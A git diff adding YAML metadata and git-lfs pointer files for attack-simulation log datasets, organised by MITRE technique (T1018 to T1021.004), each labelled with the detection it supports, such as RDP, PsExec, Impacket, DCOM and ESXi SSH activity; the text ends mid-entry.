XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/windows-xml-f1ff11e3-18bb-42bf-998e-857e48728ee5.log b/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/windows-xml-f1ff11e3-18bb-42bf-998e-857e48728ee5.log new file mode 100644 index 000000000..4498de138 --- /dev/null +++ b/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/windows-xml-f1ff11e3-18bb-42bf-998e-857e48728ee5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f2ab5c2ceb0644ad46c00e88b8748cf821d60adc9c4b18e14541939fc51c9ab +size 942 diff --git a/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/T1018_windows_powerview_constrained_delegation_discovery.yml b/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/T1018_windows_powerview_constrained_delegation_discovery.yml new file mode 100644 index 000000000..6e2d6a160 --- /dev/null +++ b/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/T1018_windows_powerview_constrained_delegation_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: 05171fd9-87f0-4140-a4ae-54413921df2e +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerView Constrained + Delegation Discovery +environment: attack_range +directory: windows_powerview_constrained_delegation_discovery +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/windows-xml-05171fd9-87f0-4140-a4ae-54413921df2e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/windows-xml-05171fd9-87f0-4140-a4ae-54413921df2e.log b/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/windows-xml-05171fd9-87f0-4140-a4ae-54413921df2e.log new file mode 100644 index 000000000..2f47a385d --- /dev/null +++ b/datasets/attack_techniques/T1018/windows_powerview_constrained_delegation_discovery/windows-xml-05171fd9-87f0-4140-a4ae-54413921df2e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:98b4634e662aadf26da44faf6f56b049b712f33cd59ea66d60373174f8780968 +size 936 diff --git a/datasets/attack_techniques/T1020/attack_techniques_T1020.yml b/datasets/attack_techniques/T1020/attack_techniques_T1020.yml new file mode 100644 index 000000000..bd7fa87a2 --- /dev/null +++ b/datasets/attack_techniques/T1020/attack_techniques_T1020.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6fabdda1-f8d1-4c08-b7a1-601f999c4435 +date: '2026-07-10' +description: Curated attack data generated for detection Detect RClone Command-Line + Usage +environment: attack_range +directory: T1020 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1020/windows-sysmon-6fabdda1-f8d1-4c08-b7a1-601f999c4435.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1020/windows-sysmon-6fabdda1-f8d1-4c08-b7a1-601f999c4435.log b/datasets/attack_techniques/T1020/windows-sysmon-6fabdda1-f8d1-4c08-b7a1-601f999c4435.log new file mode 100644 index 000000000..0ecee6d83 --- /dev/null +++ b/datasets/attack_techniques/T1020/windows-sysmon-6fabdda1-f8d1-4c08-b7a1-601f999c4435.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4f30836150e2e43f3acfa8559ae6da589d0c8b56c7d5d38d936aac997f0c4e5a +size 4214 diff --git a/datasets/attack_techniques/T1021.001/bmc_creation/T1021.001_bmc_creation.yml b/datasets/attack_techniques/T1021.001/bmc_creation/T1021.001_bmc_creation.yml new file mode 100644 index 000000000..54d08a40f --- /dev/null +++ b/datasets/attack_techniques/T1021.001/bmc_creation/T1021.001_bmc_creation.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8962175d-32f2-4cf9-a164-8c1512da4478 +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Bitmap Cache + File Creation +environment: attack_range +directory: bmc_creation +mitre_technique: [] +datasets: +- name: bmc_creation + path: /datasets/attack_techniques/T1021.001/bmc_creation/bmc_creation-8962175d-32f2-4cf9-a164-8c1512da4478.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/bmc_creation/bmc_creation-8962175d-32f2-4cf9-a164-8c1512da4478.log b/datasets/attack_techniques/T1021.001/bmc_creation/bmc_creation-8962175d-32f2-4cf9-a164-8c1512da4478.log new file mode 100644 index 000000000..1d46456c4 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/bmc_creation/bmc_creation-8962175d-32f2-4cf9-a164-8c1512da4478.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:02509f46c0827bf20cab033da354191ec78f76f78cee88ab469b800efa816089 +size 1092 diff --git a/datasets/attack_techniques/T1021.001/execution_from_rdp_share/T1021.001_execution_from_rdp_share.yml b/datasets/attack_techniques/T1021.001/execution_from_rdp_share/T1021.001_execution_from_rdp_share.yml new file mode 100644 index 000000000..9258b73ab --- /dev/null +++ b/datasets/attack_techniques/T1021.001/execution_from_rdp_share/T1021.001_execution_from_rdp_share.yml @@ -0,0 +1,13 @@ +author: STRT +id: b1132abf-98cc-4316-8b1a-08acd0bf0111 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Execution + From RDP Share +environment: attack_range +directory: execution_from_rdp_share +mitre_technique: [] +datasets: +- name: execution_from_rdp_share + path: /datasets/attack_techniques/T1021.001/execution_from_rdp_share/execution_from_rdp_share-b1132abf-98cc-4316-8b1a-08acd0bf0111.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/execution_from_rdp_share/execution_from_rdp_share-b1132abf-98cc-4316-8b1a-08acd0bf0111.log b/datasets/attack_techniques/T1021.001/execution_from_rdp_share/execution_from_rdp_share-b1132abf-98cc-4316-8b1a-08acd0bf0111.log new file mode 100644 index 000000000..465e4b065 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/execution_from_rdp_share/execution_from_rdp_share-b1132abf-98cc-4316-8b1a-08acd0bf0111.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:051efa778c2a3bd73640ff0bff6e593353647a1ab15357b7f2903cd50bab5aab +size 6827 diff --git a/datasets/attack_techniques/T1021.001/mstsc_admini/T1021.001_mstsc_admini.yml b/datasets/attack_techniques/T1021.001/mstsc_admini/T1021.001_mstsc_admini.yml new file mode 100644 index 000000000..7628ee0c8 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/mstsc_admini/T1021.001_mstsc_admini.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9d8fa9aa-9852-422f-96e8-ac787530f513 +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Client Launched + with Admin Session +environment: attack_range +directory: mstsc_admini +mitre_technique: [] +datasets: +- name: mstsc_admin + path: /datasets/attack_techniques/T1021.001/mstsc_admini/mstsc_admin-9d8fa9aa-9852-422f-96e8-ac787530f513.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/mstsc_admini/mstsc_admin-9d8fa9aa-9852-422f-96e8-ac787530f513.log b/datasets/attack_techniques/T1021.001/mstsc_admini/mstsc_admin-9d8fa9aa-9852-422f-96e8-ac787530f513.log new file mode 100644 index 000000000..a66f9e784 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/mstsc_admini/mstsc_admin-9d8fa9aa-9852-422f-96e8-ac787530f513.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dd021220963f5ac96e96a05fe4fbfc6c01e2d7ef066e947da15ca6f1a73c7923 +size 19709 diff --git a/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/T1021.001_mstsc_rdp_cmd.yml b/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/T1021.001_mstsc_rdp_cmd.yml new file mode 100644 index 000000000..ffe257e8c --- /dev/null +++ b/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/T1021.001_mstsc_rdp_cmd.yml @@ -0,0 +1,12 @@ +author: STRT +id: 86db57bc-c106-4322-9b09-5e6debc4c7e7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows MSTSC RDP Commandline +environment: attack_range +directory: mstsc_rdp_cmd +mitre_technique: [] +datasets: +- name: mstsc_sysmon + path: /datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/mstsc_sysmon-86db57bc-c106-4322-9b09-5e6debc4c7e7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/mstsc_sysmon-86db57bc-c106-4322-9b09-5e6debc4c7e7.log b/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/mstsc_sysmon-86db57bc-c106-4322-9b09-5e6debc4c7e7.log new file mode 100644 index 000000000..10aefc375 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/mstsc_rdp_cmd/mstsc_sysmon-86db57bc-c106-4322-9b09-5e6debc4c7e7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8bf97083d8e7a1130fe7ae029b07010dd8b0821cbace0ccd0b94d2284dea19a2 +size 6024 diff --git a/datasets/attack_techniques/T1021.001/rdp_session_established/4624_10_logon-9a389df6-ed34-4eb0-8bf4-3e07d4c7242f.log b/datasets/attack_techniques/T1021.001/rdp_session_established/4624_10_logon-9a389df6-ed34-4eb0-8bf4-3e07d4c7242f.log new file mode 100644 index 000000000..6b72bd2d8 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/rdp_session_established/4624_10_logon-9a389df6-ed34-4eb0-8bf4-3e07d4c7242f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:09e1806f69b13ae5d000ac746e238e34685e017fc049838673d88c6eda6f251c +size 29431 diff --git a/datasets/attack_techniques/T1021.001/rdp_session_established/T1021.001_rdp_session_established.yml b/datasets/attack_techniques/T1021.001/rdp_session_established/T1021.001_rdp_session_established.yml new file mode 100644 index 000000000..5055568b3 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/rdp_session_established/T1021.001_rdp_session_established.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9a389df6-ed34-4eb0-8bf4-3e07d4c7242f +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Login Session + Was Established +environment: attack_range +directory: rdp_session_established +mitre_technique: [] +datasets: +- name: 4624_10_logon + path: /datasets/attack_techniques/T1021.001/rdp_session_established/4624_10_logon-9a389df6-ed34-4eb0-8bf4-3e07d4c7242f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/T1021.001_susp_default_rdp_creation.yml b/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/T1021.001_susp_default_rdp_creation.yml new file mode 100644 index 000000000..0cf7f8e6b --- /dev/null +++ b/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/T1021.001_susp_default_rdp_creation.yml @@ -0,0 +1,13 @@ +author: STRT +id: 885f79c5-9dd9-4682-a51a-80336bb0cf41 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Default RDP File + Creation By Non MSTSC Process +environment: attack_range +directory: susp_default_rdp_creation +mitre_technique: [] +datasets: +- name: default_rdp_dropped + path: /datasets/attack_techniques/T1021.001/susp_default_rdp_creation/default_rdp_dropped-885f79c5-9dd9-4682-a51a-80336bb0cf41.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/default_rdp_dropped-885f79c5-9dd9-4682-a51a-80336bb0cf41.log b/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/default_rdp_dropped-885f79c5-9dd9-4682-a51a-80336bb0cf41.log new file mode 100644 index 000000000..abfe497e0 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/susp_default_rdp_creation/default_rdp_dropped-885f79c5-9dd9-4682-a51a-80336bb0cf41.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b57203cd57cb38e0955079bd6b9e7f8ff2330e83b78fb94bfbaf85476c9ec4cb +size 1952 diff --git a/datasets/attack_techniques/T1021.001/terminal_server_reg_created/T1021.001_terminal_server_reg_created.yml b/datasets/attack_techniques/T1021.001/terminal_server_reg_created/T1021.001_terminal_server_reg_created.yml new file mode 100644 index 000000000..04d765956 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/terminal_server_reg_created/T1021.001_terminal_server_reg_created.yml @@ -0,0 +1,13 @@ +author: STRT +id: e60d4672-3508-497c-8534-f262be7236b9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Server Registry + Entry Created +environment: attack_range +directory: terminal_server_reg_created +mitre_technique: [] +datasets: +- name: terminal_sever_client_Reg_created + path: /datasets/attack_techniques/T1021.001/terminal_server_reg_created/terminal_sever_client_Reg_created-e60d4672-3508-497c-8534-f262be7236b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/terminal_server_reg_created/terminal_sever_client_Reg_created-e60d4672-3508-497c-8534-f262be7236b9.log b/datasets/attack_techniques/T1021.001/terminal_server_reg_created/terminal_sever_client_Reg_created-e60d4672-3508-497c-8534-f262be7236b9.log new file mode 100644 index 000000000..0e63da984 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/terminal_server_reg_created/terminal_sever_client_Reg_created-e60d4672-3508-497c-8534-f262be7236b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:645933b9c94202f9ad68be35fee646da0de2f85c76dcb6f81270eaf35dc3833b +size 1156 diff --git a/datasets/attack_techniques/T1021.001/unhide_file/T1021.001_unhide_file.yml b/datasets/attack_techniques/T1021.001/unhide_file/T1021.001_unhide_file.yml new file mode 100644 index 000000000..8983818bd --- /dev/null +++ b/datasets/attack_techniques/T1021.001/unhide_file/T1021.001_unhide_file.yml @@ -0,0 +1,13 @@ +author: STRT +id: 172e8018-bfe2-4751-a3b7-7f34cf5fe775 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Default Rdp File + Unhidden +environment: attack_range +directory: unhide_file +mitre_technique: [] +datasets: +- name: unhide_file + path: /datasets/attack_techniques/T1021.001/unhide_file/unhide_file-172e8018-bfe2-4751-a3b7-7f34cf5fe775.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.001/unhide_file/unhide_file-172e8018-bfe2-4751-a3b7-7f34cf5fe775.log b/datasets/attack_techniques/T1021.001/unhide_file/unhide_file-172e8018-bfe2-4751-a3b7-7f34cf5fe775.log new file mode 100644 index 000000000..fde92a4a0 --- /dev/null +++ b/datasets/attack_techniques/T1021.001/unhide_file/unhide_file-172e8018-bfe2-4751-a3b7-7f34cf5fe775.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:67037017154aa9313e04b298dfb144f0fddd0094c26d81702be57d1bc5f7d222 +size 9909 diff --git a/datasets/attack_techniques/T1021.002/atomic_red_team/T1021.002_atomic_red_team.yml b/datasets/attack_techniques/T1021.002/atomic_red_team/T1021.002_atomic_red_team.yml new file mode 100644 index 000000000..7ba2a6831 --- /dev/null +++ b/datasets/attack_techniques/T1021.002/atomic_red_team/T1021.002_atomic_red_team.yml @@ -0,0 +1,21 @@ +author: STRT +id: 6c55b72b-43a3-4a58-96d4-0d7f83c7749e +date: '2026-07-10' +description: Curated attack data generated for detection Detect PsExec With accepteula + Flag +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.002/atomic_red_team/windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: smbexec_windows-sysmon + path: /datasets/attack_techniques/T1021.002/atomic_red_team/smbexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: wmiexec_windows-sysmon + path: /datasets/attack_techniques/T1021.002/atomic_red_team/wmiexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.002/atomic_red_team/smbexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log b/datasets/attack_techniques/T1021.002/atomic_red_team/smbexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log new file mode 100644 index 000000000..427e0a12b --- /dev/null +++ b/datasets/attack_techniques/T1021.002/atomic_red_team/smbexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9197b9d196d41255fd9fab8130a611066ad700e74bb848b28088147de720d261 +size 4313 diff --git a/datasets/attack_techniques/T1021.002/atomic_red_team/windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log b/datasets/attack_techniques/T1021.002/atomic_red_team/windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log new file mode 100644 index 000000000..5f0cfd0b4 --- /dev/null +++ b/datasets/attack_techniques/T1021.002/atomic_red_team/windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e27c5189daf440a1011e588338dd2d805e8851152b9f0bad9179feebed667d23 +size 4096 diff --git a/datasets/attack_techniques/T1021.002/atomic_red_team/wmiexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log b/datasets/attack_techniques/T1021.002/atomic_red_team/wmiexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log new file mode 100644 index 000000000..423a3e612 --- /dev/null +++ b/datasets/attack_techniques/T1021.002/atomic_red_team/wmiexec_windows-sysmon-6c55b72b-43a3-4a58-96d4-0d7f83c7749e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:42e417f382fada48e0cbb0024ee3b444652d45a1a10d6c0460f4a8fa6dd5fd91 +size 10197 diff --git a/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/T1021.003_excel_activemicrosoftapp.yml b/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/T1021.003_excel_activemicrosoftapp.yml new file mode 100644 index 000000000..8493518f2 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/T1021.003_excel_activemicrosoftapp.yml @@ -0,0 +1,13 @@ +author: STRT +id: a6f16660-2d0a-4cf5-9a7b-e72ee509b4ce +date: '2026-07-11' +description: Curated attack data generated for detection Windows Excel Spawning Microsoft + Project Application +environment: attack_range +directory: excel_activemicrosoftapp +mitre_technique: [] +datasets: +- name: sysmon_winprojexe + path: /datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/sysmon_winprojexe-a6f16660-2d0a-4cf5-9a7b-e72ee509b4ce.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/sysmon_winprojexe-a6f16660-2d0a-4cf5-9a7b-e72ee509b4ce.log b/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/sysmon_winprojexe-a6f16660-2d0a-4cf5-9a7b-e72ee509b4ce.log new file mode 100644 index 000000000..099228377 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/excel_activemicrosoftapp/sysmon_winprojexe-a6f16660-2d0a-4cf5-9a7b-e72ee509b4ce.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e17e3282845b73e9f0b846da6a2ee2ac4de5fd9eff706ca9e5d19bc1e714811 +size 6012 diff --git a/datasets/attack_techniques/T1021.003/impacket/T1021.003_impacket.yml b/datasets/attack_techniques/T1021.003/impacket/T1021.003_impacket.yml new file mode 100644 index 000000000..9946af1f1 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/impacket/T1021.003_impacket.yml @@ -0,0 +1,13 @@ +author: STRT +id: b26d59e6-4388-43a8-a648-602ece604c9e +date: '2026-07-10' +description: Curated attack data generated for detection Impacket Lateral Movement + Commandline Parameters +environment: attack_range +directory: impacket +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.003/impacket/windows-sysmon-b26d59e6-4388-43a8-a648-602ece604c9e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.003/impacket/windows-sysmon-b26d59e6-4388-43a8-a648-602ece604c9e.log b/datasets/attack_techniques/T1021.003/impacket/windows-sysmon-b26d59e6-4388-43a8-a648-602ece604c9e.log new file mode 100644 index 000000000..ed7a63549 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/impacket/windows-sysmon-b26d59e6-4388-43a8-a648-602ece604c9e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c7d40335ef3f3e992ad75247c032c65c0372b6dcab379032fa46a573b5c55912 +size 17749 diff --git a/datasets/attack_techniques/T1021.003/lateral_movement/T1021.003_lateral_movement.yml b/datasets/attack_techniques/T1021.003/lateral_movement/T1021.003_lateral_movement.yml new file mode 100644 index 000000000..909a56254 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement/T1021.003_lateral_movement.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1494e011-8034-4f19-bac0-c1545de3ee38 +date: '2026-07-10' +description: Curated attack data generated for detection Remote Process Instantiation + via DCOM and PowerShell +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.003/lateral_movement/windows-sysmon-1494e011-8034-4f19-bac0-c1545de3ee38.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.003/lateral_movement/windows-sysmon-1494e011-8034-4f19-bac0-c1545de3ee38.log b/datasets/attack_techniques/T1021.003/lateral_movement/windows-sysmon-1494e011-8034-4f19-bac0-c1545de3ee38.log new file mode 100644 index 000000000..4a4f5976a --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement/windows-sysmon-1494e011-8034-4f19-bac0-c1545de3ee38.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3c79c574d713750e93b03274675141e83de4411bb1970aa2bb7372e0a058800a +size 4678 diff --git a/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/T1021.003_lateral_movement_lolbas.yml b/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/T1021.003_lateral_movement_lolbas.yml new file mode 100644 index 000000000..284535858 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/T1021.003_lateral_movement_lolbas.yml @@ -0,0 +1,13 @@ +author: STRT +id: da23eed6-c0e7-4990-bf57-89906b2eb2de +date: '2026-07-10' +description: Curated attack data generated for detection Mmc LOLBAS Execution Process + Spawn +environment: attack_range +directory: lateral_movement_lolbas +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.003/lateral_movement_lolbas/windows-sysmon-da23eed6-c0e7-4990-bf57-89906b2eb2de.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/windows-sysmon-da23eed6-c0e7-4990-bf57-89906b2eb2de.log b/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/windows-sysmon-da23eed6-c0e7-4990-bf57-89906b2eb2de.log new file mode 100644 index 000000000..7905eba20 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement_lolbas/windows-sysmon-da23eed6-c0e7-4990-bf57-89906b2eb2de.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8f64fcc66887fe2327291564696271789b05661b75fca2e5f687bfe19f478219 +size 3891 diff --git a/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/T1021.003_lateral_movement_speechruntime.yml b/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/T1021.003_lateral_movement_speechruntime.yml new file mode 100644 index 000000000..105fe7f5f --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/T1021.003_lateral_movement_speechruntime.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5a547338-16ef-4faa-9e80-8b12686b8cef +date: '2026-07-11' +description: Curated attack data generated for detection Windows SpeechRuntime COM + Hijacking DLL Load +environment: attack_range +directory: lateral_movement_speechruntime +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/windows-sysmon-5a547338-16ef-4faa-9e80-8b12686b8cef.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/windows-sysmon-5a547338-16ef-4faa-9e80-8b12686b8cef.log b/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/windows-sysmon-5a547338-16ef-4faa-9e80-8b12686b8cef.log new file mode 100644 index 000000000..23cedcfd3 --- /dev/null +++ b/datasets/attack_techniques/T1021.003/lateral_movement_speechruntime/windows-sysmon-5a547338-16ef-4faa-9e80-8b12686b8cef.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:19750d6da42e2221972c75e73ca3bd6955f274210b033412c7ffe9957dac23d2 +size 2389 diff --git a/datasets/attack_techniques/T1021.004/atomic_red_team/T1021.004_atomic_red_team.yml b/datasets/attack_techniques/T1021.004/atomic_red_team/T1021.004_atomic_red_team.yml new file mode 100644 index 000000000..e9b2b2c79 --- /dev/null +++ b/datasets/attack_techniques/T1021.004/atomic_red_team/T1021.004_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: ff7c5519-0b60-4d7a-99d7-2bee82d17e9b +date: '2026-07-10' +description: Curated attack data generated for detection Linux SSH Remote Services + Script Execute +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1021.004/atomic_red_team/linux-sysmon-ff7c5519-0b60-4d7a-99d7-2bee82d17e9b.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1021.004/atomic_red_team/linux-sysmon-ff7c5519-0b60-4d7a-99d7-2bee82d17e9b.log b/datasets/attack_techniques/T1021.004/atomic_red_team/linux-sysmon-ff7c5519-0b60-4d7a-99d7-2bee82d17e9b.log new file mode 100644 index 000000000..5458ed5c6 --- /dev/null +++ b/datasets/attack_techniques/T1021.004/atomic_red_team/linux-sysmon-ff7c5519-0b60-4d7a-99d7-2bee82d17e9b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5e95992f72e785344c18a10ca80a7465ce16eec4e4307566169c3619f98e6c1e +size 1584 diff --git a/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/T1021.004_esxi_ssh_enabled.yml b/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/T1021.004_esxi_ssh_enabled.yml new file mode 100644 index 000000000..6652b81e0 --- /dev/null +++ b/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/T1021.004_esxi_ssh_enabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: f957e472-d3f8-47e8-9694-bb3db712d621 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi SSH Enabled +environment: attack_range +directory: esxi_ssh_enabled +mitre_technique: [] +datasets: +- name: esxi_ssh_enabled + path: /datasets/attack_techniques/T1021.004/esxi_ssh_enabled/esxi_ssh_enabled-f957e472-d3f8-47e8-9694-bb3db712d621.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/esxi_ssh_enabled-f957e472-d3f8-47e8-9694-bb3db712d621.log b/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/esxi_ssh_enabled-f957e472-d3f8-47e8-9694-bb3db712d621.log new file mode 100644 index 000000000..271a8c279 --- /dev/null +++ b/datasets/attack_techniques/T1021.004/esxi_ssh_enabled/esxi_ssh_enabled-f957e472-d3f8-47e8-9694-bb3db712d621.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid 